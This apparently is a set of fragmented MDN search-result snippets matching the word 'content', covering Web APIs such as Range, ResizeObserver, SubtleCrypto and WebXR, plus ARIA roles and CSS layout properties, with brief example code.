... <div class="bottom"> <pre id="log"></pre> </div> css
content body { font: 14px "open sans", "arial", sans-serif; } video { margin-top: 2px; border: 1px solid black; } .button { cursor: pointer; display: block; width: 160px; border: 1px solid black; font-size: 16px; text-align: center; padding-top: 2px; padding-bottom: 4px; color: white; background-color: darkgreen; text-decoration: none; } h2 { margin-bottom: 4px; } .left...
... { margin-right: 10px; float: left; width: 160px; padding: 0px; } .right { margin-left: 10px; float: left; width: 160px; padding: 0px; } .bottom { clear: both; padding-top: 10px; } javascript
content now let's have a look at the javascript code; this is where the majority of the action happens, after all!
...so by setting the download link's download attribute to "recordedvideo.webm", we tell the browser that clicking the button should download a file named "recordedvideo.webm" whose
contents are the recorded video.
MediaTrackConstraints - Web APIs
always the mouse is always visible in the video
content of the {domxref("mediastream"), unless the mouse has moved outside the area of the
content.
... browser the stream contains the
contents of a single browser tab selected by the user.
... monitor the stream's video track contains the entire
contents of one or more of the user's screens.
...these may include backing buffers for windows to allow capture of window
contents that are hidden by other windows in front of them, or buffers containing larger documents that need to be scrolled through to see the entire
contents in their windows.
PublicKeyCredentialRequestOptions.extensions - Web APIs
txauthgeneric an object with two properties:
contenttype (usvstring)
content (arraybuffer) generic transaction authorization.
... this is used to display an image or some non-textual
content on the authenticator before verifying the user or testing their presence.
... the
contenttype gives the mime type of the resource to be displayed while
content gives its actual
content.
... the client outputs the hash of the
content which was displayed (hashing with the same algorithm which is used for the signature).
Range.setStart() - Web APIs
the selected range is then highlighted using range.surround
contents().
...main st.<br> dodge city, ks<br> 67801<br> usa</p> <hr> <p>nodes in the original address:</p> <ol id="log"></ol> javascript const address = document.getelementbyid('address'); const log = document.getelementbyid('log'); // log info address.childnodes.foreach(node => { const li = document.createelement('li'); li.text
content = `${node.nodename}, ${node.nodevalue}`; log.appendchild(li); }); // highlight the street and city const startoffset = 2; // start at third node: 101 e.
...const endoffset = 5; // end at fifth node: dodge city, ks const range = document.createrange(); range.setstart(address, startoffset); range.setend(address, endoffset); const mark = document.createelement('mark'); range.surround
contents(mark); result get characters from a text node this example uses the range.setstart() and range.setend() methods to define the
contents of a range.
... html <p id="
content">0123456789</p> <p id="log"></p> javascript const element = document.getelementbyid('
content'); const textnode = element.childnodes[0]; const range = document.createrange(); range.setstart(textnode, 0); // start at first character range.setend(textnode, 5); // end at fifth character document.getelementbyid('log').text
content = range; result specifications specification status comment domthe definition of 'range.setstart()' in that specification.
ResizeObserver - Web APIs
the resizeobserver interface reports changes to the dimensions of an element's
content or border box, or the bounding box of an svgelement.
... note: the
content box is the box in which
content can be placed, meaning the border box minus the padding and border width.
... the border box encompasses the
content, padding, and border.
...velem = document.queryselector('body > div'); const slider = document.queryselector('input[type="range"]'); const checkbox = document.queryselector('input[type="checkbox"]'); divelem.style.width = '600px'; slider.addeventlistener('input', () => { divelem.style.width = slider.value + 'px'; }) const resizeobserver = new resizeobserver(entries => { for (const entry of entries) { if (entry.
contentboxsize) { h1elem.style.fontsize = math.max(1.5, entry.
contentboxsize.inlinesize / 200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentboxsize.inlinesize / 600) + 'rem'; } else { h1elem.style.fontsize = math.max(1.5, entry.
contentrect.width / 200) + 'rem'; pelem.style.fontsize = math.max(1, entry.
contentrect.width / 600) + 'rem'; } } }); resizeobserver.
Selection - Web APIs
selection.deletefromdocument() deletes the selection's
content from the document.
... selection.setbaseandextent() sets the selection to be a range including all or parts of two specified dom nodes, and any
content located between them.
...election.collapsetostart() selection.collapsetoend() selection.extend() selection.selectallchildren() selection.addrange() selection.setbaseandextent() and when the range is modified using the following methods: range.setstart() range.setend() range.setstartbefore() range.setstartafter() range.setendbefore() range.setendafter() range.collapse() range.selectnode() range.selectnode
contents() glossary other key terms used in this section.
... editing host an editable element (e.g., an html element with
contenteditable set, or the html child of a document that has designmode enabled).
StaticRange - Web APIs
the dom staticrange interface extends abstractrange to provide a method to specify a range of
content in the dom whose
contents don't update to reflect changes which occur within the dom tree.
... methods staticrange.torange() returns a new range object which describes the same range as the source staticrange, but is "live" with values that change to reflect changes in the
contents of the dom tree.
... usage notes a dom range specifies a span of
content in a document, potentially beginning inside one node (or element) and ending inside another one.
... unlike a range, a staticrange represents a range which is fixed in time; it does not change to try to keep the same
content within it as the document changes.
SubtleCrypto.encrypt() - Web APIs
rsa-oaep this code fetches the
contents of a text box, encodes it for encryption, and encrypts it with using rsa-oaep.
...essageencoding() { const messagebox = document.queryselector(".rsa-oaep #message"); let message = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(publickey) { let encoded = getmessageencoding(); return window.crypto.subtle.encrypt( { name: "rsa-oaep" }, publickey, encoded ); } aes-ctr this code fetches the
contents of a text box, encodes it for encryption, and encrypts it using aes in ctr mode.
...8array(16); let key = new uint8array(16); let data = new uint8array(12345); //crypto functions are wrapped in promises so we have to use await and make sure the function that //contains this code is an async function //encrypt function wants a cryptokey object const key_encoded = await crypto.subtle.importkey( "raw", key.buffer, 'aes-ctr' , false, ["encrypt", "decrypt"]); const encrypted_
content = await window.crypto.subtle.encrypt( { name: "aes-ctr", counter: iv, length: 128 }, key_encoded, data ); //uint8array console.log(encrypted_
content); aes-cbc this code fetches the
contents of a text box, encodes it for encryption, and encrypts it using aes in cbc mode.
...essage = messagebox.value; let enc = new textencoder(); return enc.encode(message); } function encryptmessage(key) { let encoded = getmessageencoding(); // iv will be needed for decryption iv = window.crypto.getrandomvalues(new uint8array(16)); return window.crypto.subtle.encrypt( { name: "aes-cbc", iv }, key, encoded ); } aes-gcm this code fetches the
contents of a text box, encodes it for encryption, and encrypts it using aes in gcm mode.
SubtleCrypto.exportKey() - Web APIs
*/ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "raw", key ); const exportedkeybuffer = new uint8array(exported); const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.text
content = `[${exportedkeybuffer}]`; } /* generate an encrypt/decrypt secret key, then set up an event listener on the "export" button.
...exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "pkcs8", key ); const exportedasstring = ab2str(exported); const exportedasbase64 = window.btoa(exportedasstring); const pemexported = `-----begin private key-----\n${exportedasbase64}\n-----end private key-----`; const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.text
content = pemexported; } /* generate a sign/verify key pair, then set up an event listener on the "export" button.
...on exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "spki", key ); const exportedasstring = ab2str(exported); const exportedasbase64 = window.btoa(exportedasstring); const pemexported = `-----begin public key-----\n${exportedasbase64}\n-----end public key-----`; const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.text
content = pemexported; } /* generate an encrypt/decrypt key pair, then set up an event listener on the "export" button.
...*/ async function exportcryptokey(key) { const exported = await window.crypto.subtle.exportkey( "jwk", key ); const exportkeyoutput = document.queryselector(".exported-key"); exportkeyoutput.text
content = json.stringify(exported, null, " "); } /* generate a sign/verify key pair, then set up an event listener on the "export" button.
SubtleCrypto.verify() - Web APIs
/* fetch the
contents of the "message" textbox, and encode it in a form we can use for sign operation.
... /* fetch the
contents of the "message" textbox, and encode it in a form we can use for sign operation.
... /* fetch the
contents of the "message" textbox, and encode it in a form we can use for sign operation.
... /* fetch the
contents of the "message" textbox, and encode it in a form we can use for sign operation.
WebGL constants - Web APIs
table of
contents standard webgl 1 constants standard webgl 2 constants webgl extension constants standard webgl 1 constants these constants are defined on the webglrenderingcontext interface.
... constant name value description static_draw 0x88e4 passed to bufferdata as a hint about whether the
contents of the buffer are likely to be used often and not change often.
... stream_draw 0x88e0 passed to bufferdata as a hint about whether the
contents of the buffer are likely to not be used often.
... dynamic_draw 0x88e8 passed to bufferdata as a hint about whether the
contents of the buffer are likely to be used often and change often.
Movement, orientation, and motion: A WebXR example - Web APIs
then references are obtained to the four <div> blocks into which we'll output the current
contents of each of the key matrices for informational purposes while our scene is running.
... the last few lines of code added for this example are four calls to displaymatrix(), a function which displays the
contents of a matrix for analysis by the user.
... displaying a matrix for instructive purposes, this example displays the
contents of the important matrices used while rendering the scene.
...hml' display='block'>\n<mrow>\n<mo>[</mo>\n<mtable>\n"; for (let y=0; y<numrows; y++) { outhtml += "<mtr>\n"; for (let x=0; x<rowlength; x++) { outhtml += `<mtd><mn>${mat[(x*rowlength) + y].tofixed(2)}</mn></mtd>\n`; } outhtml += "</mtr>\n"; } outhtml += "</mtable>\n<mo>]</mo>\n</mrow>\n</math>"; } target.innerhtml = outhtml; } this replaces the
contents of the element specified by target with a newly-created <math> element which contains the 4x4 matrix.
Rendering and the WebXR frame animation callback - Web APIs
in this context, "repaint" simply means the process of ensuring that the screen's displayed
content matches what the dom and the elements within are trying to present at the moment.
... hardare vertical refresh rate when the browser is ready to refresh the <canvas> within which your webxr
content is displayed, it calls your frame rendering callback, which uses the specified timestamp and any other relevant data, such as models and textures, as well as application state, to render the scene—as it should appear at the specified time—into the webgl backbuffer.
... when a frame is dropped, the
contents of the affected display area simply don't change for that pass through the frame loop.
... we begin by preparing webgl to render the eye's
contents by getting the viewport that restricts drawing to the area within the framebuffer that's reserved for the current eye's image by calling the xrwebgllayer method getviewport().
XMLHttpRequest.response - Web APIs
the xmlhttprequest response property returns the response's body
content as an arraybuffer, blob, document, javascript object, or domstring, depending on the value of the request's responsetype property.
...see html in xmlhttprequest to learn more about using xhr to fetch html
content.
... json the response is a javascript object created by parsing the
contents of received data as json.
... the
content is handled as raw text data (since nothing here is overriding the default responsetype).
Introduction - Web APIs
introduction one noticeable trend in w3c standards has been the effort to separate
content from style.
... this would allow the same style to be reused for multiple
content, as well as simplify maintenance and allow a quick (only modify one file) way to change the look of
content.
...these style rules define how the document (the
content) should be laid out.
...xslt takes an xml document (the
content) and creates a brand new document based on the rules in the xsl stylesheet.
Web APIs
ncevalue cache cachestorage canvascapturemediastreamtrack canvasgradient canvasimagesource canvaspattern canvasrenderingcontext2d caretposition channelmergernode channelsplitternode characterdata childnode client clients clipboard clipboardevent clipboarditem closeevent comment compositionevent constantsourcenode constrainboolean constraindomstring constraindouble constrainulong
contentindex
contentindexevent convolvernode countqueuingstrategy crashreportbody credential credentialscontainer crypto cryptokey cryptokeypair customelementregistry customevent d domconfiguration domerror domexception domhighrestimestamp domimplementation domimplementationlist domlocator dommatrix dommatrixreadonly domobject domparser dompoint dompointinit dompointreadonly domqua...
...eenoptions g gainnode gamepad gamepadbutton gamepadevent gamepadhapticactuator geolocation geolocationcoordinates geolocationposition geolocationpositionerror geometryutils gestureevent globaleventhandlers gyroscope h htmlanchorelement htmlareaelement htmlaudioelement htmlbrelement htmlbaseelement htmlbasefontelement htmlbodyelement htmlbuttonelement htmlcanvaselement htmlcollection html
contentelement htmldlistelement htmldataelement htmldatalistelement htmldetailselement htmldialogelement htmldivelement htmldocument htmlelement htmlembedelement htmlfieldsetelement htmlfontelement htmlformcontrolscollection htmlformelement htmlframesetelement htmlhrelement htmlheadelement htmlheadingelement htmlhtmlelement htmlhyperlinkelementutils htmliframeelement htmlimageelement htmlinpute...
...ionsync idbversionchangeevent idbversionchangerequest iirfilternode idledeadline imagebitmap imagebitmaprenderingcontext imagecapture imagedata index inputdevicecapabilities inputevent installevent installtrigger intersectionobserver intersectionobserverentry interventionreportbody k keyboard keyboardevent keyboardlayoutmap keyframeeffect keyframeeffectoptions l largest
contentfulpaint layoutshift layoutshiftattribution linearaccelerationsensor linkstyle localfilesystem localfilesystemsync localmediastream location lock lockmanager lockedfile m midiaccess midiconnectionevent midiinput midiinputmap midimessageevent midioutputmap mscandidatewindowhide mscandidatewindowshow mscandidatewindowupdate msgestureevent msgraphicstrust msmanipulationevent msrangecollect...
...number svgnumberlist svgpathelement svgpatternelement svgpoint svgpolygonelement svgpolylineelement svgpreserveaspectratio svgradialgradientelement svgrect svgrectelement svgrenderingintent svgsvgelement svgscriptelement svgsetelement svgsolidcolorelement svgstopelement svgstringlist svgstylable svgstyleelement svgswitchelement svgsymbolelement svgtrefelement svgtspanelement svgtests svgtext
contentelement svgtextelement svgtextpathelement svgtextpositioningelement svgtitleelement svgtransform svgtransformlist svgtransformable svgurireference svgunittypes svguseelement svgvkernelement svgviewelement svgzoomandpan screen screenorientation scriptprocessornode scrolltooptions securitypolicyviolationevent selection sensor sensorerrorevent serviceworker serviceworkercontainer serviceworke...
ARIA: alert role - Accessibility
screen readers will instantly start reading out the updated
content when the role is added.
... the most important thing to know about the alert role is that it is for dynamic
content.
...when the display value is changed with css or javascript, it would automatically trigger the screen reader to read out the
content.
... <button type="button" onclick="triggeralert">trigger alert</button> <p class="alert">the alert will trigger when the button is pressed.</p> function triggeralert() { var alertel = document.queryselector('.alert'); alertel.addattribute("role", "alert"); } accessibility concerns the alert role should read out
content that has changed, or bring the user's attention to it immediately, so it should not be used for static
content or used regularly.
ARIA: form role - Accessibility
<div role="form" id="contact-info" aria-label="contact information"> <!-- form
content --> </div> this is a form that collects and saves a user's contact information.
... description a form landmark identifies a region of
content that contains a collection of items and objects that, as a whole, combine to create a form when no other named landmark is appropriate (e.g.
... using the <form> element will automatically communicate a section of
content as a form landmark, if it is provided an accessible name.
... using role="form" <div role="form" id="gift-cards" aria-label="purchase a gift card"> <!-- form
content --> </div> redundant descriptions screen readers will announce the type of role the landmark is.
ARIA: grid role - Accessibility
</tr> <tr> <th scope="row">aisle 2</th> <td tabindex="-1"> <button id="2a" tabindex="-1">2a</button> </td> <td tabindex="-1"> <button id="2b" tabindex="-1">2b</button> </td> <!-- more columns --> </tr> </tbody> </table> description a grid widget contains one or more rows with one or more cells of thematically related interactive
content.
...even though both data grids and layout grids employ the same aria roles, states, and properties, differences in their
content and purpose surface factors that are important to consider in keyboard interaction design.
...pageup": var i = 0; var result; do { result = moveto(i, event.target.dataset.col); i++; } while (result == false); break; case "pagedown": var i = maxrow; var result; do { result = moveto(i, event.target.dataset.col); i--; } while (result == false); break; case "enter": alert(event.target.text
content); break; } event.preventdefault(); }); html <table role="grid" aria-labelledby="calendarheader"> <caption id="calendarheader">september 2018</caption> <thead role="rowgroup"> <tr role="row"> <td></td> <th role="columnheader" aria-label="sunday">s</th> <th role="columnheader" aria-label="monday">m</th> <th role="columnheader" aria-label="tuesday">t</...
...pageup": var i = 0; var result; do { result = moveto(i, event.target.dataset.col); i++; } while (result == false); break; case "pagedown": var i = maxrow; var result; do { result = moveto(i, event.target.dataset.col); i--; } while (result == false); break; case "enter": alert(event.target.text
content); break; } event.preventdefault(); }); more examples data grid examples layout grids examples w3c/wai tutorial: tables accessibility concerns even if the keyboard use is properly implemented, some users might not be aware that they have to use the arrow keys.
-webkit-line-clamp - CSS: Cascading Style Sheets
the -webkit-line-clamp css property allows limiting of the
contents of a block container to the specified number of lines.
... in most cases you will also want to set overflow to hidden, otherwise the
contents won't be clipped but an ellipsis will still be shown after the specified number of lines.
... syntax /* keyword value */ -webkit-line-clamp: none; /* <integer> values */ -webkit-line-clamp: 3; -webkit-line-clamp: 10; /* global values */ -webkit-line-clamp: inherit; -webkit-line-clamp: initial; -webkit-line-clamp: unset; none this value specifies that the
content wonʼt be clamped.
... <integer> this value specifies the number of lines after which the
content will be clamped.
:host() - CSS: Cascading Style Sheets
in this example we have a simple custom element — <context-span> — that you can wrap around text: <h1>host selectors <a href="#"><context-span>example</context-span></a></h1> inside the element's constructor, we create style and span elements, fill the span with the
content of the custom element, and fill the style element with some css rules: let style = document.createelement('style'); let span = document.createelement('span'); span.text
content = this.text
content; const shadowroot = this.attachshadow({mode: 'open'}); shadowroot.appendchild(style); shadowroot.appendchild(span); style.text
content = 'span:hover { text-decoration: underline; }' + ...
... ':host-context(h1) { font-style: italic; }' + ':host-context(h1):after {
content: " - no links in headers!" }' + ':host-context(article, aside) { color: gray; }' + ':host(.footer) { color : red; }' + ':host { background: rgba(0,0,0,0.1); padding: 2px 5px; }'; the :host(.footer) { color : red; } rule styles all instances of the <context-span> element (the shadow host in this instance) in the document that have the footer class set on them — we've used it to give instances of the element inside the <footer> a special color.
...change preferences in firefox, visit about:config.ie no support noopera full support 41safari full support 10notes full support 10notes notes certain css selectors do not work (:host > .local-child) and styling slotted
content (::slotted) is buggy.webview android full support 54chrome android full support 54firefox android full support 63 full support 63 no support 61 — 63disabled disabled from version 61 until ver...
...to change preferences in firefox, visit about:config.opera android full support 41safari ios full support 10notes full support 10notes notes certain css selectors do not work (:host > .local-child) and styling slotted
content (::slotted) is buggy.samsung internet android full support 6.0legend full support full support no support no supportsee implementation notes.see implementation notes.user must explicitly enable this feature.user must explicitly enable this feature.
:valid - CSS: Cascading Style Sheets
the :valid css pseudo-class represents any <input> or other <form> element whose
contents validate successfully.
... syntax :valid examples indicating valid and invalid form fields in this example, we use structures like this, which include extra <span>s to generate
content on; we'll use these to provide indicators of valid/invalid data: <div> <label for="fname">first name *: </label> <input id="fname" name="fname" type="text" required> <span></span> </div> to provide these indicators, we use the following css: input + span { position: relative; } input + span::before { position: absolute; right: -20px; top: 5px; } input:invalid { border: 2px so...
...lid red; } input:invalid + span::before {
content: '✖'; color: red; } input:valid + span::before {
content: '✓'; color: green; } we set the <span>s to position: relative so that we can position the generated
content relative to them.
... we then absolutely position different generated
content depending on whether the form's data is valid or invalid — a green check or a red cross, respectively.
:where() - CSS: Cascading Style Sheets
take the following html: <article> <h2>:is()-styled links</h2> <section class="is-styling"> <p>here is my main
content.
... </section> <aside class="is-styling"> <p>here is my aside
content.
... </footer> </article> <article> <h2>:where()-styled links</h2> <section class="where-styling"> <p>here is my main
content.
... </section> <aside class="where-styling"> <p>here is my aside
content.
@media - CSS: Cascading Style Sheets
with it, you specify a media query and a block of css to apply to the document if and only if the media query matches the device on which the
content is being used.
... monochrome bits per pixel in the output device's monochrome frame buffer, or zero if the device isn't monochrome orientation orientation of the viewport overflow-block how does the output device handle
content that overflows the viewport along the block axis?
... overflow-inline can
content that overflows the viewport along the inline axis be scrolled?
... update how frequently the output device can modify the appearance of
content added in media queries level 4.
At-rules - CSS: Cascading Style Sheets
@namespace — tells the css engine that all its
content must be considered prefixed with an xml namespace.
... nested at-rules — a subset of nested statements, which can be used as a statement of a style sheet as well as inside of conditional group rules: @media — a conditional group rule that will apply its
content if the device meets the criteria of the condition defined using a media query.
... @supports — a conditional group rule that will apply its
content if the browser meets the criteria of the given condition.
... @document — a conditional group rule that will apply its
content if the document in which the style sheet is applied meets the criteria of the given condition.
Box alignment in Multi-column Layout - CSS: Cascading Style Sheets
in multi-column layout the alignment container is the
content box of the multicol container.
... align-
content and justify-
content the align-
content property applies to the block axis and justify-
content to the inline axis.
... using a value of justify-
content other than normal or stretch will cause column boxes to display at the column-width specified on the multicol container, and the remaining space distributed according to the value of justify-
content.
... reference css properties justify-
content align-
content column-gap glossary entries alignment subject alignment container fallback alignment ...
Using multi-column layouts - CSS: Cascading Style Sheets
</p> </div> css #col { column-count: 2; } result will display the
content in two columns (if you're using a multi-column compliant browser): the column-width property sets the minimum desired column width.
... in a multi-column block,
content is automatically flowed from one column into the next as needed.
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #columns_12 { columns: 12 8em; } result height balancing the css3 column specification requires that the column heights must be balanced: that is, the browser automatically sets the maximum column height so that the heights of the
content in each column are approximately equal.
... however, in some situations it is also useful to set the maximum height of the columns explicitly, and then lay out
content starting at the first column and creating as many columns as necessary, possibly overflowing to the right.
Ordering Flex Items - CSS: Cascading Style Sheets
new layout methods such as flexbox and grid bring with them the possibility of controlling the order of
content.
... in this article we will take a look at ways in which you can change the visual order of your
content when using flexbox.
...the heading of the news item is the key thing to highlight and would be the element that a user might jump to if they were tabbing between headings to find
content they wanted to read.
...you will quickly see if your development choices make getting around the
content difficult.
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
this means that they will contain the
content added to them without causing an overflow.
... color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1fr); grid-gap: 10px; grid-auto-rows: 100px; } you can use minmax() in your value for grid-auto-rows enabling the creation of rows that are a minimum size but then grow to fit
content if it is taller.
...-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four <br>this cell <br>has extra <br>
content.
...this will continue for as long as
content is added to the implicit grid.
CSS Grid Layout and Progressive Enhancement - CSS: Cascading Style Sheets
the float no longer applies, and i can use the css box alignment property align-self to align my
content to the end of the container: * {box-sizing: border-box;} img { max-width: 100%; display: block; } .media { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 400px; display: grid; grid-template-columns: 1fr 2fr; grid-template-areas: "img
content"; margin-bottom: 1em; } .media::after {
content: ""; display: block; ...
...o overwrite older methods.</p> </li> <li class="card"><h2>five</h2> <p>we can use css grid to overwrite older methods.</p> </li> <li class="card"><h2>six</h2> <p>we can use css grid to overwrite older methods.</p> </li> </ul> </div> the example demonstrates the typical problem that we have with floated layouts: if additional
content is added to any one card, the layout breaks.
... as a concession for older browsers, i have set a min-height on the items, and hope that my
content editors won’t add too much
content and make a mess of the layout!
...the layout now works, even if there is more
content in one of the cards, than the others: * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; max-width: 600px; margin: 0 auto; } .wrapper li { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrapper ul { overflow: hidden; margi...
Using CSS counters - CSS: Cascading Style Sheets
css counters let you adjust the appearance of
content based on its location in a document.
... displaying a counter the value of a counter can be displayed using either the counter() or counters() function in a
content property.
...*/ } h3::before { counter-increment: section; /* increment the value of section counter by 1 */
content: "section " counter(section) ": "; /* display the word 'section ', the value of section counter, and a colon before the
content of each h3 */ } html <h3>introduction</h3> <h3>body</h3> <h3>conclusion</h3> result nesting counters a css counter can be especially useful for making outline...
... css ol { counter-reset: section; /* creates a new instance of the section counter with each ol element */ list-style-type: none; } li::before { counter-increment: section; /* increments only this instance of the section counter */
content: counters(section, ".") " "; /* combines the values of all instances of the section counter, separated by a period */ } html <ol> <li>item</li> <!-- 1 --> <li>item <!-- 2 --> <ol> <li>item</li> <!-- 2.1 --> <li>item</li> <!-- 2.2 --> <...
Column layouts - CSS: Cascading Style Sheets
requirements there are a number of design patterns you might want to achieve with your columns: a continuous thread of
content broken up into newspaper-style columns.
... a continuous thread of
content — multi-column layout if you create columns using multi-column layout your text will remain as a continuous stream filling each column in turn.
... the columns must all be the same size, and you are unable to target an individual column or the
content of an individual column.
... a single row of items with equal heights — flexbox flexbox can be used to break
content into columns by setting flex-direction to row, however flexbox targets the elements inside the flex container and will place each direct child into a new column.
Pagination - CSS: Cascading Style Sheets
this cookbook pattern demonstrates the navigation pattern used to display pagination, where the user can move between pages of
content such as search results.
... typically, the pagination component will be centered horizontally underneath the
content.
...the <nav> element is designated a flex container in order that we can center the list inside using the justify-
content property.
... we have also added some additional
content that would be read by a screenreader but is hidden visually, and set the aria-hidden attribute on the paging arrows.
CSS Layout cookbook - CSS: Cascading Style Sheets
css grid, float fallback, fit-
content() sizing columns when to choose multi-column layout, flexbox or grid for your columns.
... flexbox, box alignment sticky footers creating a footer which sits at the bottom of the container or viewport when the
content is shorter.
... flexbox, box alignment pagination links to pages of
content (such as search results).
... grid layout grid wrapper for aligning grid
content within a central wrapper, while also allowing items to break out.
Using media queries - CSS: Cascading Style Sheets
nevertheless, its
contents will not apply unless and until the result of the query changes to true.
... monochrome bits per pixel in the output device's monochrome frame buffer, or zero if the device isn't monochrome orientation orientation of the viewport overflow-block how does the output device handle
content that overflows the viewport along the block axis?
... overflow-inline can
content that overflows the viewport along the inline axis be scrolled?
... update how frequently the output device can modify the appearance of
content added in media queries level 4.
Visual formatting model - CSS: Cascading Style Sheets
each box in the box tree represents its corresponding element (or pseudo-element) in space and/or time on the canvas, while each text run in the box tree likewise represents the
contents of its corresponding text nodes.
... the principal box when an element generates one or more boxes, one of them is the principal box, which contains its descendant boxes and generated
content in the box tree, and is also the box involved in any positioning scheme.
...and some values (such as none or
contents) cause the element and/or its descendants to not generate any boxes at all.
...
content may flow along the side of a float.
WebKit CSS extensions - CSS: Cascading Style Sheets
a -webkit-align-
content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function b -webkit-backface-visibility -webkit-background-clip -webkit-background-origin -webkit-backgrou...
...ebkit-grid-auto-flow -webkit-grid-auto-rows -webkit-grid-column -webkit-grid-column-end -webkit-grid-column-gap -webkit-grid-column-start -webkit-grid-gap -webkit-grid-row -webkit-grid-row-end -webkit-grid-row-gap -webkit-grid-row-start -webkit-grid-template -webkit-grid-template-areas -webkit-grid-template-columns -webkit-grid-template-rows h-l -webkit-hyphens -webkit-justify-
content -webkit-justify-items -webkit-justify-self -webkit-line-break m -webkit-mask -webkit-mask-clip -webkit-mask-composite -webkit-mask-image -webkit-mask-origin -webkit-mask-position -webkit-mask-repeat -webkit-mask-size o-r -webkit-opacity -webkit-order -webkit-perspective -webkit-perspective-origin -webkit-ruby-position s -webkit-scroll-snap-type -webkit-shape-image-th...
... a -webkit-align-
content -webkit-align-items -webkit-align-self -webkit-animation -webkit-animation-delay -webkit-animation-direction -webkit-animation-duration -webkit-animation-fill-mode -webkit-animation-iteration-count -webkit-animation-name -webkit-animation-play-state -webkit-animation-timing-function -webkit-appearance* b -webkit-backface-visibility -webkit-background-clip -webkit-background-ori...
...*, *** -webkit-box-direction**, *** -webkit-box-flex**, *** -webkit-box-orient**, *** -webkit-box-pack**, *** -webkit-box-shadow -webkit-box-sizing -webkit-border-top-left-radius -webkit-border-top-right-radius f -webkit-filter -webkit-flex -webkit-flex-basis -webkit-flex-direction -webkit-flex-flow -webkit-flex-grow -webkit-flex-shrink -webkit-flex-wrap j -webkit-justify-
content m -webkit-mask -webkit-mask-clip -webkit-mask-composite* -webkit-mask-image -webkit-mask-origin -webkit-mask-position -webkit-mask-position-x** -webkit-mask-position-y** -webkit-mask-repeat -webkit-mask-size o-p -webkit-order -webkit-perspective -webkit-perspective-origin t -webkit-text-fill-color** -webkit-text-size-adjust -webkit-text-stroke** -webkit-text-stroke-co...
box-orient - CSS: Cascading Style Sheets
the box-orient css property sets whether an element lays out its
contents horizontally or vertically.
... values horizontal the box lays out its
contents horizontally.
... vertical the box lays out its
contents vertically.
... description html dom elements lay out their
contents along the inline-axis by default.
column-count - CSS: Cascading Style Sheets
the column-count css property breaks an element's
content into the specified number of columns.
... <integer> is a strictly positive <integer> describing the ideal number of columns into which the
content of the element will be flowed.
... formal definition initial valueautoapplies toblock containers except table wrapper boxesinheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> | auto examples splitting a paragraph across three columns html <p class="
content-box"> this is a bunch of text split into three columns using the css `column-count` property.
...</p> css .
content-box { column-count: 3; } result specifications specification status comment css multi-column layout modulethe definition of 'column-count' in that specification.
columns - CSS: Cascading Style Sheets
the columns css shorthand property sets the number of columns to use when drawing an element's
contents, as well as those columns' widths.
... <'column-count'> the ideal number of columns into which the element's
content should be flowed, defined as an <integer> or the keyword auto.
...toblock containers except table wrapper boxesinheritednocomputed valueas each of the properties of the shorthand:column-width: the absolute length, zero or largercolumn-count: as specifiedanimation typeas each of the properties of the shorthand:column-width: a lengthcolumn-count: an integer formal syntax <'column-width'> | <'column-count'> examples setting three equal columns html <p class="
content-box"> this is a bunch of text split into three columns using the css `columns` property.
...</p> css .
content-box { columns: 3 auto; } result specifications specification status comment css multi-column layout modulethe definition of 'columns' in that specification.
counters() - CSS: Cascading Style Sheets
the counters() function (and counter() function) is what makes it useful by returning developer defined
content.
... note: the counters() function can be used with any css property, but support for properties other than
content is experimental, and support for the type-or-unit parameter is sparse.
... <ol> <li></li> <li></li> <li></li> </ol> </li> <li></li> <li></li> <li> <ol> <li></li> <li> <ol> <li></li> <li></li> <li></li> </ol> </li> </ol> </li> </ol> css ol { counter-reset: listcounter; } li { counter-increment: listcounter; } li::marker {
content: counters(listcounter, '.', upper-roman) ') '; } li::before {
content: counters(listcounter, ".") " == " counters(listcounter, ".", lower-roman) ; } result decimal-leading-zero compared to lower-alpha html <ol> <li> <ol> <li></li> <li></li> <li></li> </ol> </li> <li></li> <li></li> <li> <ol> <li></li> <li> <ol>...
... <li></li> <li></li> <li></li> </ol> </li> </ol> </li> </ol> css ol { counter-reset: count; } li { counter-increment: count; } li::marker {
content: counters(count, '.', upper-alpha) ') '; } li::before {
content: counters(count, ".", decimal-leading-zero) " == " counters(count, ".", lower-alpha); } result specifications specification status comment css lists module level 3the definition of 'css counters' in that specification.
env() - CSS: Cascading Style Sheets
to tell the browser to use the whole available space on the screen, and so enabling us to use the env() variables, we need to add a new viewport meta value: <meta name="viewport"
content="viewport-fit=cover" /> body { padding: env(safe-area-inset-top, 20px) env(safe-area-inset-right, 20px) env(safe-area-inset-bottom, 20px) env(safe-area-inset-left, 20px); } in addition, unlike custom properties, which cannot be used outside of declarations, the env() function can be used in place of any part of a property value, or any part of a descriptor (e.g.
... originally provided by the ios browser to allow developers to place their
content in a safe area of the viewport, the safe-area-inset-* values defined in the specification can be used to help ensure
content is visible even to viewers using non‑rectangular displays.
